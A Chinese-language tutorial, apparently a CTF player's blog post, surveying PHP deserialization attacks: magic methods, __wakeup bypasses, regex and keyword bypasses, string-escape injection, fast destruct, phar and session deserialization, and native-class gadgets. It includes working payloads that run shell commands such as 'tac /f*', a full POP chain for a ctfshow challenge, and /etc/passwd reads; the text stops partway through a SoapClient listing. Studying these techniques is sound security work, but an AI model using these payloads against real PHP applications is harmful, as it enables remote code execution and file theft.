php反序列化总结

常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
__construct(): 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct(): 和构造函数相反,当对象所在函数调用完毕后执行。
__call(): 当调用对象中不存在的方法会自动调用该方法。
__get(): 获取对象不存在的属性时执行此函数。
__set(): 设置对象不存在的属性时执行此函数。
__toString(): 当对象被当做一个字符串使用时调用。
__sleep(): 序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup(): 反序列化恢复对象之前调用该方法
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发
__invoke(): 将对象当作函数来使用时执行此方法

__construct & __destruct

__construct:在实例化一个对象时,会被自动调用,可以作为非public权限属性的初始化
__destruct:和构造函数相反,当对象销毁时会调用此方法,一是用户主动销毁对象,二是当程序结束时由引擎自动销毁

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class test{
public $username;
public $password;

function __construct($username,$password){
echo "__construct\n";
$this->username = $username;
$this->password = $password;
}

function __destruct(){
echo "__destruct\n";
}
}

$a = new test('admin','admin888');
unset($a);
echo "abc\n";
echo "--------------------\n";

$a = new test('admin','admin888');
echo "abc\n";

运行结果

1
2
3
4
5
6
7
__construct
__destruct
abc
--------------------
__construct
abc
__destruct

__sleep & __wakeup

__sleep:序列化时自动调用
__wakeup:反序列化时自动调用

如果类中同时定义了 __unserialize()和__wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

同理,如果类中同时定义了 __serialize()和 __sleep() 两个魔术方法,
则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class test{
public $username;
public $password;

function __construct($username,$password){
echo "__construct\n";
$this->username = $username;
$this->password = $password;
}

function __sleep(){
echo "__sleep\n";
return [username,password]; //需要返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误
}

function __wakeup(){
echo "__wakeup\n";
$this->username = 'user';
}

}

$a = new test('admin','admin888');
$data = serialize($a);
echo $data."\n";
echo "-----------------------------\n";
var_dump(unserialize($data));

运行结果

1
2
3
4
5
6
7
8
9
10
11
__construct
__sleep
O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
-----------------------------
__wakeup
class test#2 (2) {
public $username =>
string(4) "user"
public $password =>
string(8) "admin888"
}

__call & __callstatic

__call:对象执行类不存在的方法时会自动调用__call方法
__callstatic:直接执行类不存在的方法时会自动调用__callstatic方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $username;
public $password;

function __call($method,$args){
echo '不存在'.$method.'方法(__call)'.'<br>';
}

function __callstatic($method,$args){
echo '不存在'.$method.'方法(__callstatic)'.'<br>';
}
}

$a = new test();
$a->lewiserii();
test::lewiserii();

运行结果

1
2
不存在lewiserii方法(__call)
不存在lewiserii方法(__callstatic)

__get & __set

__get:对不可访问属性或不存在属性进行 访问引用时自动调用
__set:对不可访问属性或不存在属性进行 写入时自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test{
public $username='admin';
private $password='admin888';

function __get($name){
echo "__get\n";
}

function __set($name,$value){
echo "__set\n";
}

}

$a = new test();
$a->password;
$a->password='123456';

运行结果

1
2
__get
__set

__isset & __unset

__isset:在不可访问的属性上使用inset()时触发
__unset:在不可访问的属性上使用unset()时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $username='admin';
private $password='admin888';

function __isset($name){
echo "__isset\n";
}
function __unset($name){
echo "__unset\n";
}
}

$a = new test();
isset($a->password);
unset($a->psd);

运行结果

1
2
__isset
__unset

__tostring

__toString():类的实例和字符串拼接或者作为字符串引用时会自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $username='admin';
private $password='admin888';

function __tostring(){
return "tostring";
}

}

$a = new test();
echo $a;

运行结果

1
tostring

__invoke

__invoke():将对象当作函数来使用时调用此方法

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $username='admin';
private $password='admin888';

function __invoke(){
echo "__invoke";
}

}

$a = new test();
$a();

运行结果

1
__invoke

反序列化绕过的几种方法

绕过__wakeup

CVE-2016-7124

利用条件:
PHP5 < 5.6.25
​PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $a='test';

public function __wakeup(){
$this->a='aaa';
}

public function __destruct(){
echo $this->a;
}
}

//$v = new test();
//echo serialize($v);
//O:4:"test":1:{s:1:"a";s:4:"test";}test
?>

当执行unserialize('O:4:"test":1:{s:1:"a";s:4:"test";}');时会返回aaa,在修改对象属性个数的值,执行unserialize('O:4:"test":2:{s:1:"a";s:4:"test";}');会返回test

利用反序列化字符串报错

利用一个包含__destruct方法的类触发魔术方法可绕过__wakeup方法

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class D {

public function __get($name) {
echo "D::__get($name)\n";
}
public function __destruct() {
echo "D::__destruct\n";
}
public function __wakeup() {
echo "D::__wakeup\n";
}
}

class C {
public function __destruct() {
echo "C::__destruct\n";
$this->c->b;

}
}


unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');

原本应该是O:1:"C":1:{s:1:"c";O:1:"D":0:{}}
调用顺序是

1
2
3
4
D::__wakeup
C::__destruct
D::__get(b)
D::__destruct

添加了一个;N;(反序列化末尾加上;任意字符;)的错误结构后调用顺序就变成了

1
2
3
4
C::__destruct
D::__get(b)
D::__wakeup
D::__destruct

来自Article_kelp师傅的原理解释,orz:

使用C代替O

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//https://3v4l.org/YAje0
//https://bugs.php.net/bug.php?id=81151
class E {
public function __construct(){

}

public function __destruct(){
echo "destruct";
}

public function __wakeup(){
echo "wake up";
}
}

var_dump(unserialize('C:1:"E":0:{}'));

比较鸡肋,只能执行construct()destruct()函数,无法添加任何内容

但是在特定的PHP版本下,可以使用一些内置类来重新包装实现绕过

1
2
3
4
5
6
7
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

例如ctfshow的2023愚人杯[easy_php]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a= new ctfshow();
$a->ctfshow= "cat /f1agaaa";



//$b=new SplObjectStorage();
//$b->test=$a;
//echo serialize($b);
//C:16:"SplObjectStorage":77:{x:i:0;m:a:1:{s:4:"test";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}



//$b=new ArrayObject($a);
//echo serialize($b);
//C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}



//$b=new ArrayIterator($a);
//echo serialize($b);
//C:13:"ArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}




//$b=new RecursiveArrayIterator($a);
//echo serialize($b);
//C:22:"RecursiveArrayIterator":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}



//$b=new SplDoublyLinkedList();
//$b->push($a);
//echo serialize($b);
//C:19:"SplDoublyLinkedList":57:{i:0;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}




//$b=new SplQueue();
//$b->push($a);
//echo serialize($b);
//C:8:"SplQueue":57:{i:4;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}



//$b=new SplStack();
//$b->push($a);
//echo serialize($b);
//C:8:"SplStack":57:{i:6;:O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}

不过有几个类在使用时要注意需要加入push方法

绕过正则

检测’O’

利用条件:
preg_match(‘/^O:\d+/i’,$data)

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);

class backdoor{
public $name;

public function __destruct(){
eval($this->name);
}
}

$data = $_POST['data'];

if (preg_match('/^O:\d+/i',$data)){
die("object not allow unserialize");
}

利用方式1:当在代码中使用类似preg_match('/^O:\d+/i',$data)的正则语句来匹配是否是对象字符串开头的时候,可以使用+绕过

O:8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}
O:+8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}

要注意在url里传参时+要编码为%2B

利用方式2:使用array()绕过

1
2
3
4
5
6
7
8
9
<?php
class backdoor{
public $name="system('tac /f*');";
}

$a = new backdoor();
echo serialize(array($a));
//a:1:{i:0;O:8:"backdoor":1:{s:4:"name";s:18:"system('tac /f*');";}}
?>

检测’}’

有时候会遇到另一种正则,比如/\}$/,会匹配最后一个}

反序列化字符串末尾的}}}}是可以全部删掉的,没有影响

比如a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}}

变成a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";

甚至在末尾填充字符a:1:{i:0;O:4:"test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";aaaaaaaaaa

均能正常解析

检测数字

可以用字符id绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
//https://3v4l.org/SJm2g
// echo serialize(0);

echo unserialize('i:-1;');
echo "\n";
echo unserialize('i:+1;');
echo "\n";
echo unserialize('d:-1.1;');
echo "\n";
echo unserialize('d:+1.2;');

引用绕过

利用方式:当代码中存在类似$this->a===$this->b的比较时可以用&,使$a永远与$b相等

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test{
public $a;
public $b;

public function __construct(){
$this->a = 'abc';
$this->b = &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}

$a = serialize(new test());

?>

$this->b = &$this->a;表示$b变量指向的地址永远指向$a变量指向的地址

16进制绕过

利用方式:当代码中存在关键词检测时,将表示字符类型的s改为大写来绕过检测

例子:

1
2
3
4
5
6
7
8
<?php
class test{
public $username='admin';
public $password='admin888';
}
echo serialize(new test());
//O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
?>

如果过滤了关键字admin,可以将其替换成O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}

表示字符类型的s为大写时,就会被当成16进制解析

字符逃逸

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $a='aaa';
public $b='bbb';
}

$v = new test();
echo serialize($v);
//O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";s:3:"bbb";}
?>

由于php在进行反序列化时,是从左到右读取,读取多少取决于s后面的字符长度,且认为读到}就结束了,}后面的字符不会有影响

一般触发字符逃逸的条件是替换函数str_replace,使字符串长度改变,造成字符逃逸,读取到不一样的数据

过滤后字符变多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test{
public $a='aaa';
public $b='bbb';
}

function filter($str){
return str_replace("aaa","aaaa",$str);
}


$v = new test();
echo filter(serialize($v));
//O:4:"test":2:{s:1:"a";s:3:"aaaa";s:1:"b";s:3:"bbb";}
?>

可以发现结果中的aaa被替换成了aaaa,但是长度值没变,还是3,这就导致多出了一个a,而且值是可控的,我们可以将这部分值变为 很多aaa";s:1:"b";s:3:"qaq";}很多aaa的具体个数取决于后面想要构造的字符串的长度,这里是21位,就用21aaa,这样替换后会多出21个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test{
public $a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:3:"qaq";}';
public $b='bbb';
}

function filter($str){
return str_replace("aaa","aaaa",$str);
}


$v = new test();
echo filter(serialize($v));
//O:4:"test":2:{s:1:"a";s:84:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:3:"qaq";}";s:1:"b";s:3:"bbb";}
?>

$b的值成功被修改成了qaq

过滤后字符变少

原理与过滤后字符变多大同小异,就是前面少了,导致后面的字符被吃掉,从而执行了我们后面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
public $b='";s:1:"b";s:3:"abc";}';
}

function filter($str){
return str_replace("aaa","aa",$str);
}


$v = new test();
echo filter(serialize($v));

//O:4:"test":2:{s:1:"a";s:48:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:1:"b";s:21:"";s:1:"b";s:3:"abc";}";}
?>

主要注意闭合就行了,与sql注入类似

类属性不敏感

对于PHP版本7.1+,对属性的类型不敏感

1
2
3
4
5
6
7
8
9
10
11
<?php

class test {
private $hello="private";

function __destruct(){
var_dump($this->hello);
}
}
unserialize('O:4:"test":1:{s:5:"hello";s:6:"public";}');
//string(6) "public"

public时得到的序列化字符串,在priviate或者protected修饰的时候反序列化,hello属性都能获得值

类名和方法名不区分大小写

1
2
3
4
5
6
7
8
PHP特性:
变量名区分大小写
常量名区分大小写
数组索引 (键名) 区分大小写
函数名, 方法名, 类名不区分大小写
魔术常量不区分大小写 (以双下划线开头和结尾的常量)
NULL TRUE FALSE 不区分大小写
强制类型转换不区分大小写 (在变量前面加上 (type))

常见用来绕过正则

如ctfshow的一道题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

fast destruct

通常发序列化的入口在__destruct()方法,如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。

例如这样一道题目

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test
{
public $args;

public function __destruct()
{
system($this->args);
}
}
$a = @unserialize($_GET['args']);
throw new Exception("NoNoNo");

反序列化操作执行之后并没有立即执行__destruct()方法中的内容,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。

正常情况下的序列化字符串应该是:

O:4:"Test":1:{s:4:"args";s:6:"whoami";}

payload:

1
2
3
4
5
//去掉一个大括号
O:4:"Test":1:{s:4:"args";s:6:"whoami";

//结尾加入多余数据
O:4:"Test":1:{s:4:"args";s:6:"whoami";123a}

serialize(unserialize($x)) != $x

正常来说一个合法的反序列化字符串,在反序列化之后再次序列化所得到的结果应是一致的

虽然在例子中没有AAA这个类,但是在反序列化 序列化过后得到的值依然为原来的值

var_dump的结果:

1
2
3
4
5
6
7
8
9
10
11
12
//class AAA{
// public $a = '1';
// public $b = '2';
//}
//$raw = 'O:3:"AAA":2:{s:1:"a";s:1:"1";s:1:"b";s:1:"2";}';
//echo var_dump(unserialize($raw));
object(AAA)#1 (2) {
["a"]=>
string(1) "1"
["b"]=>
string(1) "2"
}
1
2
3
4
5
6
7
8
9
10
//$raw = 'O:3:"AAA":2:{s:1:"a";s:1:"1";s:1:"b";s:1:"2";}';
//echo var_dump(unserialize($raw));
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(3) "AAA"
["a"]=>
string(1) "1"
["b"]=>
string(1) "2"
}

var_dump后可以发现以下差异

1
2
3
4
5
1:所属类名称
对象所属类的名称由 AAA 变为了 __PHP__Incomplete_Class

2:__PHP_Incomplete_Class_Name 属性
__PHP_Incomplete_Class 对象中多包含了一个 __PHP_Incomplete_Class_Name 属性

所以PHP在遇到不存在的类时,会把不存在的类转换成 __PHP_Incomplete_Class 这种特殊的类,并且将原始的类名存放在 __PHP_Incomplete_Class_Name 这个属性中。而 serialize() 在处理的时候会倒推回来,发现对象是 __PHP_Incomplete_Class 后,会序列化成 __PHP_Incomplete_Class_Name 的值为类名的类,同时将 __PHP_Incomplete_Class_Name 删除(属性个数减一)

所以可以手动构造一个包含__PHP__Incomplete_Class的序列化字符串,因为是我们手动构造的,所以__PHP_Incomplete_Class_Name值为空,serialize找不到后会跳过,但是属性个数减一的步骤不会跳过,所以构成了serialize(unserialize($x)) != $x

注意:若 __PHP_Incomplete_Class 对象中的属性个数为零,则 __PHP_Incomplete_Class 的序列化结果中的属性个数描述值也将为零

phar反序列化

众所周知,在利用反序列化漏洞的时候,一般是将序列化后的字符串传入unserialize()来利用。但是通过phar可以不依赖unserialize()直接进行反序列化操作

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。在PHP 5.3或更高版本中默认开启

phar结构由4部分组成

一:stub

stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。类似于Phar的文件头

二:manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里就是漏洞利用的关键点

三:contents

被压缩文件的内容

四:signature

签名,放在文件末尾

签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

一个最基本的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
}

$a = new Test();

$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); //停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
受影响的函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile

当我们修改文件的内容时,签名就会变得无效,这个时候需要重新计算签名

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

phar绕过上传限制

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
}

$a = new Test();

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //添加任意的文件头
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

绕过头部phar://

如果题目限制了phar://不能出现在头几个字符,可以用Bzip/Gzip协议绕过

例如

1
2
3
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
die();
}
1
2
3
4
5
6
7
8
php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过

compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过

compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过

绕过__HALT_COMPILER检测

在前面介绍stub时提到过,PHP通过__HALT_COMPILER来识别Phar文件,那么为了防止Phar反序列化的出现,可能就会对这个进行过滤

例如

1
2
3
if (preg_match("/HALT_COMPILER/i",$Phar){
die();
}

绕过方法一:

将Phar文件的内容写到压缩包注释中,压缩为zip文件

1
2
3
4
5
6
7
8
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>

绕过方法二:

将生成的Phar文件进行gzip压缩,压缩后同样也可以进行反序列化

1
gzip test.phar

session反序列化

什么是session这里就不描述了,网上有很多文章可以参考

先了解下PHP session不同引擎的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的

session.serialize_handler定义的引擎共有三种:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

phpphp_serialize这两个处理区混合起来使用,就会出现session反序列化漏洞。原因是php_serialize存储的反序列化字符可以引用|,如果这时候使用php处理器的格式取出$_SESSION的值,|会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞

$_SESSION变量可控

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//1.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($_SESSION);


//2.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class test{
public $name;
function __wakeup(){
echo $this->name;
}
}

先在1.php传入?session=lewiserii

session的内容,因为1.php页面用的是php_serialize引擎,所以是序列化处理的数组的形式

而2.php用的是php引擎,在可控点传入|+序列化字符串,然后再次访问2.php调用session值的时候会触发

传入?session=|O:4:"test":1:{s:4:"name";s:9:"lewiserii";}后,文件中的值就变成了下图中的值

再次访问2.php,发现成功反序列化,修改了$name

总结:由于1.php是使用php_serialize引擎处理,因此只会把’|’当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|’时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|’后的值进行反序列化处理。

$_SESSION变量不可控

$_SESSION不能直接控制时,可以借助PHP_SESSION_UPLOAD_PROGRESS来完成反序列化

关于PHP_SESSION_UPLOAD_PROGRESS的介绍可以参考我的另一篇文章session.upload_progress文件包含

这里用ctfshow的一道新春题的前半部分作例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";

}
function __destruct(){
$this->happy->happy;

}
public function __call($funName, $arguments){
die($this->happy->$funName);
}

public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}


}

class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";

}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}

public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;

}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}

}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";

}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();

}
public function __set($key,$value)#3
{
$this->$key = $value;
}

public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}

}
?>

先构造pop链
O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";}s:5:"robot";N;s:8:"notrobot";N;}}

看下phpinfo中关于session的信息,可以知道当前index.php用的是php引擎,其他页面默认用php_serialize引擎,且session.upload_progress.cleanup=Off,意味着php不会立即清空对应的session文件,就不用进行条件竞争

构造POST表单,提交传入序列化字符串

1
2
3
4
5
<form action="http://dece2f58-5f4b-4bd0-904a-ac58efcf9623.challenges.ctfer.com:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="lewiserii" />
<input type="file" name="file" />
<input type="submit" />
</form>

因为要放到filename中的双引号中,所以这里要转义一下双引号,在拼接上|,注意一定要带上PHPSESSID

伪造PHP_SESSION_UPLOAD_PROGRESS的值时,值中一旦出现|,将会导致数据写入session文件失败,所以用filename

php原生类反序列化

如果在代码审计中有反序列化点,但在代码中找不到pop链,可以利用php内置类来进行反序列化

原生文件操作类

可遍历目录类:

1
2
3
DirectoryIterator
FilesystemIterator
GlobIterator

FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

GlobIterator 类与前两个类的作用与使用方法相似,但与上面略不同的是其行为类似于glob(),可以通过模式匹配来寻找文件路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$dir=new DirectoryIterator("/");
echo $dir;

$dir=new FilesystemIterator("/");
echo $dir;

//也可以与glob://协议配合使用来查找文件
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;

$dir=new FilesystemIterator("glob:///*flag*");
echo $dir;

//GlobIterator无需借助glob协议即可搜索全局文件
$dir=new GlobIterator("/*flag*");
echo $dir;

可读取文件类

1
SplFileObject

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

1
2
3
4
5
6
7
8
9
10
11
12
//读取一个文件的一行
$context = new SplFileObject('/etc/passwd');
echo $context;

//读取多行需要遍历或者使用伪协议
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}

$context = new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd');
echo $context;

SoapClient反序列化与ssrf

首先需要了解什么是soap
soap,是webService三要素(SOAP、WSDL、UDDI)之一

1
2
3
4
5
SOAP: 基于HTTP协议,采用XML格式,用来描述传递信息的格式。

WSDL: 用来描述如何访问具体的服务。(相当于说明书)

UDDI: 用户自己可以按UDDI标准搭建UDDI服务器,用来管理,分发,查询WebService 。其他用户可以自己注册发布WebService调用。(现在基本废弃)

简单来说就是soap是一种基于http的传输协议,可以发起请求来访问远程服务

php官方手册中对soapclient的解释如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
class SoapClient {
/* 属性 */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
